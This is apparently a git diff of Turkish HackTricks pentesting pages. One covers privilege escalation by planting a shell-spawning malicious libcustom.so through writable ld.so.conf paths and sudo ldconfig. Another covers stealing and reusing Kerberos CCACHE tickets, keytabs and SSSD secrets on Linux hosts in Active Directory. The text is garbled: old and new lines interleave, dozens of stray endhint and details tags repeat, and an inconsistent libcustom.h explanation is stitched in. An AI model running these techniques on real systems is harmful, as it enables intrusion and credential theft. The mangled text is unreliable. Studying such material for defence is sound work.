```
## Referanslar
* [https://reboare.github.io/lxd/lxd-escape.html](https://reboare.github.io/lxd/lxd-escape.html)
* [https://etcpwd13.github.io/greyfriar_blog/blog/writeup/Notes-Included/](https://etcpwd13.github.io/greyfriar_blog/blog/writeup/Notes-Included/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin.**
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
</details>
{% endhint %}

View file

@ -1,23 +1,35 @@
# ld.so privesc exploit example
# ld.so privesc exploit örneği
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a> <strong>öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## Ortamı hazırlayın
## Ortamı Hazırlayın
Aşağıdaki bölümde, ortamı hazırlamak için kullanacağımız dosyaların kodunu bulabilirsiniz
Aşağıdaki bölümde, ortamı hazırlamak için kullanacağımız dosyaların kodunu bulabilirsiniz.
{% tabs %}
{% tab title="sharedvuln.c" %}
```c
#include <stdio.h>
#include "libcustom.h"
@ -28,66 +40,17 @@ vuln_func();
return 0;
}
```
{% endtab %}
Bu dosya, özel bir kütüphane olan libcustom'un başlık dosyasıdır. Bu kütüphane, özel işlevler ve özellikler sağlamak için kullanılır.
```c
#ifndef LIBCUSTOM_H
#define LIBCUSTOM_H
// Özel işlevlerin prototipleri burada tanımlanır
void customFunction1();
void customFunction2();
// Özel yapıların tanımları burada yer alır
typedef struct {
int customField1;
char customField2[20];
} CustomStruct;
#endif
```
Bu başlık dosyası, libcustom kütüphanesini kullanacak olan diğer programlar tarafından dahil edilir. Bu sayede, libcustom'un sağladığı işlevler ve yapılar kullanılabilir hale gelir.
{% tab title="libcustom.h" %}
```c
#include <stdio.h>
void vuln_func();
```
{% endtab %}
Bu örnek, bir özel kütüphanenin nasıl yüklenip kullanılacağını göstermektedir. Aşağıdaki adımları izleyerek bu örneği uygulayabilirsiniz:
1. Öncelikle, `libcustom.c` adında bir C dosyası oluşturun.
2. Ardından, aşağıdaki kodu `libcustom.c` dosyasına yapıştırın:
```c
#include <stdio.h>
void custom_function() {
printf("This is a custom function\n");
}
```
3. Daha sonra, `libcustom.c` dosyasını derlemek için aşağıdaki komutu kullanın:
```bash
gcc -shared -o libcustom.so libcustom.c
```
4. Bu komut, `libcustom.c` dosyasını `libcustom.so` adında bir paylaşılan nesne dosyasına derleyecektir.
5. Son olarak, `ld.so.conf` dosyasına aşağıdaki satırı ekleyin:
```
/usr/local/lib
```
Bu satır, `/usr/local/lib` dizinini paylaşılan kütüphane arama yoluna ekleyecektir.
6. Artık `libcustom.so` dosyasını `/usr/local/lib` dizinine taşıyabilirsiniz.
Bu adımları tamamladıktan sonra, `libcustom.so` dosyasını kullanarak özel bir işlevi çağırabilirsiniz.
{% tab title="libcustom.c" %}
```c
#include <stdio.h>
@ -96,20 +59,17 @@ void vuln_func()
puts("Hi");
}
```
{% tabs %}
{% tab title="Bir örnek" %}
1. Bu dosyaları aynı klasöre **oluşturun**
2. **Kütüphaneyi derleyin**: `gcc -shared -o libcustom.so -fPIC libcustom.c`
3. `libcustom.so` dosyasını `/usr/lib` dizinine **kopyalayın**: `sudo cp libcustom.so /usr/lib` (root yetkisi gerektirir)
4. **Yürütülebilir dosyayı derleyin**: `gcc sharedvuln.c -o sharedvuln -lcustom`
#### Ortamı kontrol edin
_libcustom.so_'nun _/usr/lib_ dizininden **yüklenip yüklenmediğini** ve ikili dosyayı **çalıştırabildiğinizi** kontrol edin.
{% endtab %}
{% endtabs %}
1. **Bu dosyaları** makinenizde aynı klasörde **oluşturun**
2. **Kütüphaneyi** **derleyin**: `gcc -shared -o libcustom.so -fPIC libcustom.c`
3. `libcustom.so`'yu `/usr/lib`'ye **kopyalayın**: `sudo cp libcustom.so /usr/lib` (root yetkileri)
4. **Çalıştırılabilir dosyayı** **derleyin**: `gcc sharedvuln.c -o sharedvuln -lcustom`
### Ortamı kontrol et
_libcustom.so_'nun _/usr/lib_'den **yüklenip** yüklenmediğini ve ikili dosyayı **çalıştırıp** çalıştıramadığınızı kontrol edin.
```
$ ldd sharedvuln
linux-vdso.so.1 => (0x00007ffc9a1f7000)
@ -121,18 +81,14 @@ $ ./sharedvuln
Welcome to my amazing application!
Hi
```
## Exploit
## Sızma
Bu senaryoda, _/etc/ld.so.conf/_ içinde bir dosyada **birisi zafiyetli bir giriş oluşturduğunu varsayacağız**:
Bu senaryoda **birinin _/etc/ld.so.conf/_ içinde savunmasız bir giriş oluşturduğunu** varsayacağız:
```bash
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
```
Zararlı klasör _/home/ubuntu/lib_ (yazma erişimine sahip olduğumuz yer) içindedir.\
Aşağıdaki kodu indirin ve o yolu içinde derleyin:
Kırılgan klasör _/home/ubuntu/lib_ (yazılabilir erişimimizin olduğu yer).\
**Aşağıdaki kodu** o yolun içinde indirin ve derleyin:
```c
//gcc -shared -o libcustom.so -fPIC libcustom.c
@ -147,11 +103,9 @@ printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
}
```
Şimdi, **hatalı yapılandırılmış** yolun içine **zararlı libcustom kütüphanesini oluşturduğumuza** göre, bir **yeniden başlatma** veya kök kullanıcının **`ldconfig`**'u çalıştırmasını beklememiz gerekiyor (_bu ikiliyi **sudo** olarak çalıştırabilir veya **suid bit**'e sahipse kendiniz çalıştırabilirsiniz_).
Artık **yanlış yapılandırılmış** yol içinde kötü niyetli libcustom kütüphanesini **oluşturduğumuza göre**, bir **yeniden başlatma** veya root kullanıcısının **`ldconfig`** komutunu çalıştırmasını beklememiz gerekiyor (_eğer bu ikiliyi **sudo** olarak çalıştırabiliyorsanız veya **suid biti** varsa, bunu kendiniz çalıştırabileceksiniz_).
Bu gerçekleştiğinde, `sharevuln` yürütülebilir dosyasının `libcustom.so` kütüphanesini nereden yüklediğini **yeniden kontrol edin**:
```c
$ldd sharedvuln
linux-vdso.so.1 => (0x00007ffeee766000)
@ -159,9 +113,7 @@ libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
```
Gördüğünüz gibi, **`/home/ubuntu/lib`'den yükleniyor** ve herhangi bir kullanıcı tarafından çalıştırılırsa bir kabuk çalıştırılacak:
Gördüğünüz gibi, **`/home/ubuntu/lib`'den yüklüyor** ve eğer herhangi bir kullanıcı bunu çalıştırırsa, bir shell çalıştırılacaktır:
```c
$ ./sharedvuln
Welcome to my amazing application!
@ -169,30 +121,27 @@ I'm the bad library
$ whoami
ubuntu
```
{% hint style="info" %}
Bu örnekte ayrıcalıkları yükseltmedik, ancak komutları değiştirerek ve **kök veya diğer ayrıcalıklı kullanıcının zafiyetli ikiliyi çalıştırmasını bekleyerek** ayrıcalıkları yükseltebiliriz.
Bu örnekte ayrıcalıkları yükseltmediğimizi, ancak yürütülen komutları değiştirerek ve **kök veya diğer ayrıcalıklı kullanıcıların savunmasız ikili dosyayı yürütmesini bekleyerek** ayrıcalıkları yükseltebileceğimizi unutmayın.
{% endhint %}
### Diğer yanlış yapılandırmalar - Aynı zafiyet
Önceki örnekte, bir yönetici **`/etc/ld.so.conf.d/` içindeki bir yapılandırma dosyasında ayrıcalıklı olmayan bir klasör ayarladığımızı taklit ettik**.\
Ancak, aynı zafiyeti oluşturabilecek diğer yanlış yapılandırmalar da vardır, eğer `/etc/ld.so.conf.d` klasörü içinde veya `/etc/ld.so.conf` dosyasında bazı **yazma izinleriniz** varsa veya `/etc/ld.so.conf.d` içindeki **bir yapılandırma dosyasında**, aynı zafiyeti yapılandırabilir ve sömürebilirsiniz.
Önceki örnekte, bir yöneticinin **`/etc/ld.so.conf.d/` içindeki bir yapılandırma dosyasına ayrıcalıksız bir klasör ayarladığı** bir yanlış yapılandırmayı taklit ettik.\
Ancak, `/etc/ld.so.conf.d` içindeki bazı **yapılandırma dosyalarında** yazma izinleriniz varsa, `/etc/ld.so.conf.d` klasöründe veya `/etc/ld.so.conf` dosyasında aynı zafiyeti yapılandırabilir ve bunu istismar edebilirsiniz.
## Sömürü 2
## İstismar 2
**`ldconfig` üzerinde sudo ayrıcalıklarınız olduğunu varsayalım**.\
`ldconfig`'a **hangi yapılandırma dosyalarını yükleyeceğini** belirtebilirsiniz, bu nedenle `ldconfig`'un keyfi klasörleri yüklemesinden yararlanmak için "/tmp" klasörünü yüklemek için gerekli dosya ve klasörleri oluşturalım:
`ldconfig`'e **konfigürasyon dosyalarının nereden yükleneceğini** belirtebilirsiniz, bu nedenle `ldconfig`'in keyfi klasörleri yüklemesini sağlamak için bunu avantaja çevirebiliriz.\
Şimdi, "/tmp" yüklemek için gereken dosya ve klasörleri oluşturalım:
```bash
cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf
```
Şimdi, **önceki saldırıda** belirtildiği gibi, **`/tmp` içinde zararlı bir kütüphane oluşturun**.\
Ve son olarak, yolu yükleyelim ve binary'nin kütüphaneyi nereden yüklediğini kontrol edelim:
Şimdi, **önceki istismarda** belirtildiği gibi, **kötü niyetli kütüphaneyi `/tmp` içinde oluşturun**.\
Ve sonunda, yolu yükleyelim ve ikili dosyanın kütüphaneyi nereden yüklediğini kontrol edelim:
```bash
ldconfig -f fake.ld.so.conf
@ -202,29 +151,36 @@ libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
```
**Görüldüğü gibi, `ldconfig` üzerinde sudo yetkilerine sahip olmak aynı zafiyeti sömürmenizi sağlar.**
**Gördüğünüz gibi, `ldconfig` üzerinde sudo ayrıcalıklarına sahip olduğunuzda aynı güvenlik açığını istismar edebilirsiniz.**
{% hint style="info" %}
Eğer `ldconfig` suid bitiyle yapılandırılmışsa, bu zafiyeti sömürmek için güvenilir bir yol bulamadım. Aşağıdaki hata görüntülenir: `/sbin/ldconfig.real: Can't create temporary cache file /etc/ld.so.cache~: Permission denied`
{% endhint %}
## Referanslar
* [https://www.boiteaklou.fr/Abusing-Shared-Libraries.html](https://www.boiteaklou.fr/Abusing-Shared-Libraries.html)
* [https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2](https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2)
* HTB'deki Dab makinesi
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı yapmak veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,28 +1,31 @@
# Linux Active Directory
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter**'da takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Bir Linux makinesi aynı zamanda bir Active Directory ortamında bulunabilir.
Bir linux makinesi, bir Active Directory ortamında da bulunabilir.
Bir AD içindeki bir Linux makinesi, **farklı CCACHE biletlerini dosyalarda depolayabilir. Bu biletler, diğer kerberos biletleri gibi kullanılabilir ve kötüye kullanılabilir**. Bu biletleri okumak için, biletin kullanıcı sahibi veya **makinedeki root** olmanız gerekmektedir.
Bir AD'deki linux makinesi, **farklı CCACHE biletlerini dosyalar içinde saklıyor olabilir. Bu biletler, diğer kerberos biletleri gibi kullanılabilir ve kötüye kullanılabilir**. Bu biletleri okumak için, biletin kullanıcı sahibi olmanız veya makine içinde **root** olmanız gerekir.
## Sorgulama
## Enumeration
### Linux üzerinden AD sorgulama
### Linux'tan AD enumeration
Linux'ta bir AD'ye erişiminiz varsa (veya Windows'ta bash), AD'yi sorgulamak için [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) kullanabilirsiniz.
Linux'ta (veya Windows'ta bash'te) bir AD'ye erişiminiz varsa, AD'yi enumerate etmek için [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) deneyebilirsiniz.
Linux üzerinden AD'yi sorgulamanın **diğer yollarını öğrenmek için** aşağıdaki sayfayı kontrol edebilirsiniz:
Ayrıca, **linux'tan AD'yi enumerate etmenin diğer yollarını öğrenmek için** aşağıdaki sayfayı kontrol edebilirsiniz:
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
@ -30,17 +33,17 @@ Linux üzerinden AD'yi sorgulamanın **diğer yollarını öğrenmek için** aş
### FreeIPA
FreeIPA, öncelikle **Unix** ortamları için Microsoft Windows **Active Directory**'ye bir açık kaynaklı **alternatif**tir. Active Directory'ye benzer şekilde yönetim için bir MIT **Kerberos** Anahtar Dağıtım Merkezi ile birleşik bir **LDAP dizini** içerir. CA ve RA sertifika yönetimi için Dogtag **Sertifika Sistemi**'ni kullanarak **çok faktörlü** kimlik doğrulama, akıllı kartlar da dahil olmak üzere destekler. Unix kimlik doğrulama süreçleri için SSSD entegredir. Daha fazlasını öğrenmek için:
FreeIPA, esasen **Unix** ortamları için Microsoft Windows **Active Directory**'ye açık kaynaklı bir **alternatif**'tir. Active Directory'ye benzer yönetim için tam bir **LDAP dizini** ile bir MIT **Kerberos** Anahtar Dağıtım Merkezi'ni birleştirir. CA ve RA sertifika yönetimi için Dogtag **Sertifika Sistemi**'ni kullanarak, akıllı kartlar da dahil olmak üzere **çok faktörlü** kimlik doğrulamayı destekler. Unix kimlik doğrulama süreçleri için SSSD entegre edilmiştir. Daha fazla bilgi için:
{% content-ref url="../freeipa-pentesting.md" %}
[freeipa-pentesting.md](../freeipa-pentesting.md)
{% endcontent-ref %}
## Biletlerle Oynamak
## Biletlerle Oynama
### Bileti Geçir
### Pass The Ticket
Bu sayfada, bir Linux ana bilgisayarında **kerberos biletlerini bulabileceğiniz farklı yerleri** bulacaksınız, aşağıdaki sayfada bu CCache bilet formatlarını Kirbi'ye (Windows'ta kullanmanız gereken format) dönüştürmeyi ve ayrıca bir PTT saldırısı gerçekleştirmeyi nasıl yapacağınızı öğrenebilirsiniz:
Bu sayfada, **bir linux ana bilgisayarında kerberos biletlerini nerede bulabileceğinizi** göreceksiniz, bir sonraki sayfada bu CCache bilet formatlarını Kirbi'ye (Windows'ta kullanmanız gereken format) nasıl dönüştüreceğinizi ve ayrıca bir PTT saldırısını nasıl gerçekleştireceğinizi öğrenebilirsiniz:
{% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %}
[pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md)
@ -48,9 +51,9 @@ Bu sayfada, bir Linux ana bilgisayarında **kerberos biletlerini bulabileceğini
### /tmp'den CCACHE bilet yeniden kullanımı
CCACHE dosyaları, Kerberos kimlik bilgilerini **saklamak için kullanılan ikili formatlardır** ve genellikle `/tmp` dizininde 600 izinleriyle saklanır. Bu dosyalar, kullanıcının UID'sine karşılık gelen **`krb5cc_%{uid}`** ad biçimine sahiptir. Kimlik doğrulama biletinin doğrulanması için, **`KRB5CCNAME`** ortam değişkeni, istenen bilet dosyasının yoluna ayarlanmalı ve yeniden kullanımını etkinleştirmelidir.
CCACHE dosyaları, **Kerberos kimlik bilgilerini saklamak için** ikili formatlardır ve genellikle `/tmp` dizininde 600 izinleriyle saklanır. Bu dosyalar, kullanıcının UID'sine karşılık gelen **isim formatı, `krb5cc_%{uid}`,** ile tanımlanabilir. Kimlik doğrulama biletinin doğrulanması için, **`KRB5CCNAME`** ortam değişkeni, istenen bilet dosyasının yoluna ayarlanmalıdır, bu da yeniden kullanımını sağlar.
Geçerli kimlik doğrulama için kullanılan biletin listesini `env | grep KRB5CCNAME` komutuyla alabilirsiniz. Format taşınabilir ve bilet, `export KRB5CCNAME=/tmp/ticket.ccache` komutuyla ortam değişkeni ayarlanarak **yeniden kullanılabilir**. Kerberos bilet adı formatı `krb5cc_%{uid}` şeklindedir, burada uid kullanıcı UID'sidir.
Kimlik doğrulama için kullanılan mevcut bileti `env | grep KRB5CCNAME` ile listeleyin. Format taşınabilir ve bilet, ortam değişkenini `export KRB5CCNAME=/tmp/ticket.ccache` ile ayarlayarak **yeniden kullanılabilir**. Kerberos bilet adı formatı `krb5cc_%{uid}` şeklindedir; burada uid, kullanıcının UID'sidir.
```bash
# Find tickets
ls /tmp/ | grep krb5cc
@ -59,9 +62,9 @@ krb5cc_1000
# Prepare to use it
export KRB5CCNAME=/tmp/krb5cc_1000
```
### Anahtar halkasından CCACHE biletinin yeniden kullanımı
### CCACHE bilet yeniden kullanımı anahtarlık üzerinden
**Bir işlemin belleğinde depolanan Kerberos biletleri**, özellikle makinenin ptrace koruması devre dışı bırakıldığında (`/proc/sys/kernel/yama/ptrace_scope`), çıkarılabilir. Bu amaçla kullanışlı bir araç, [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) adresinde bulunur ve oturumlara enjekte ederek biletleri `/tmp` dizinine döker.
**Bir işlemin belleğinde saklanan Kerberos biletleri çıkarılabilir**, özellikle makinenin ptrace koruması devre dışı bırakıldığında (`/proc/sys/kernel/yama/ptrace_scope`). Bu amaçla yararlı bir araç [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) adresinde bulunur; bu araç, oturumlara enjekte ederek biletleri `/tmp` dizinine dökme işlemini kolaylaştırır.
Bu aracı yapılandırmak ve kullanmak için aşağıdaki adımlar izlenir:
```bash
@ -70,45 +73,44 @@ cd tickey/tickey
make CONF=Release
/tmp/tickey -i
```
Bu işlem, çeşitli oturumlara enjekte etmeyi deneyecek ve başarılı olduğunu, çıkarılan biletleri `/tmp` dizininde `__krb_UID.ccache` adlandırma kuralıyla saklayarak belirtecektir.
Bu prosedür, çeşitli oturumlara enjekte etmeyi deneyecek ve başarıyı `/tmp` dizininde `__krb_UID.ccache` adlandırma kuralıyla çıkarılan biletleri saklayarak gösterecektir.
### SSSD KCM'den CCACHE bilet yeniden kullanımı
SSSD, veritabanının `/var/lib/sss/secrets/secrets.ldb` yolunda bir kopyasını tutar. Karşılık gelen anahtar, varsayılan olarak yalnızca **root** izinlerine sahipseniz okunabilir olarak saklanır ve `/var/lib/sss/secrets/.secrets.mkey` yolunda gizli bir dosya olarak depolanır.
SSSD, veritabanının bir kopyasını `/var/lib/sss/secrets/secrets.ldb` yolunda tutar. İlgili anahtar, `/var/lib/sss/secrets/.secrets.mkey` yolunda gizli bir dosya olarak saklanır. Varsayılan olarak, anahtar yalnızca **root** izinleriniz varsa okunabilir.
`SSSDKCMExtractor`'ı --database ve --key parametreleriyle çağırmak, veritabanını ayrıştıracak ve **şifreleri çözecektir**.
\*\*`SSSDKCMExtractor` \*\* komutunu --database ve --key parametreleriyle çağırmak, veritabanını ayrıştıracak ve **gizli bilgileri şifre çözecektir**.
```bash
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```
**Kimlik bilgisi önbelleği Kerberos blogu**, Mimikatz/Rubeus'a iletilmek üzere kullanılabilir bir Kerberos CCache dosyasına dönüştürülebilir.
**Kimlik bilgisi önbellek Kerberos blob'u, Mimikatz/Rubeus'a geçirilebilecek kullanılabilir bir Kerberos CCache** dosyasına dönüştürülebilir.
### Anahtar tablosundan CCACHE biletinin yeniden kullanımı
### Keytab'tan CCACHE bilet yeniden kullanımı
```bash
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab
```
### /etc/krb5.keytab dosyasından hesapları çıkarın
### /etc/krb5.keytab dosyasından hesapları çıkar
Kök ayrıcalıklarıyla çalışan hizmetler için önemli olan hizmet hesabı anahtarları, güvenli bir şekilde **`/etc/krb5.keytab`** dosyalarında saklanır. Bu anahtarlar, hizmetler için şifreler gibi sıkı bir gizlilik gerektirir.
Kök ayrıcalıklarıyla çalışan hizmetler için gerekli olan hizmet hesap anahtarları, **`/etc/krb5.keytab`** dosyalarında güvenli bir şekilde saklanır. Bu anahtarlar, hizmetler için şifreler gibi, sıkı bir gizlilik gerektirir.
Keytab dosyasının içeriğini incelemek için **`klist`** kullanılabilir. Bu araç, anahtar ayrıntılarını, özellikle anahtar türü 23 olarak tanımlandığında kullanıcı kimlik doğrulaması için **NT Hash**'i görüntülemek için tasarlanmıştır.
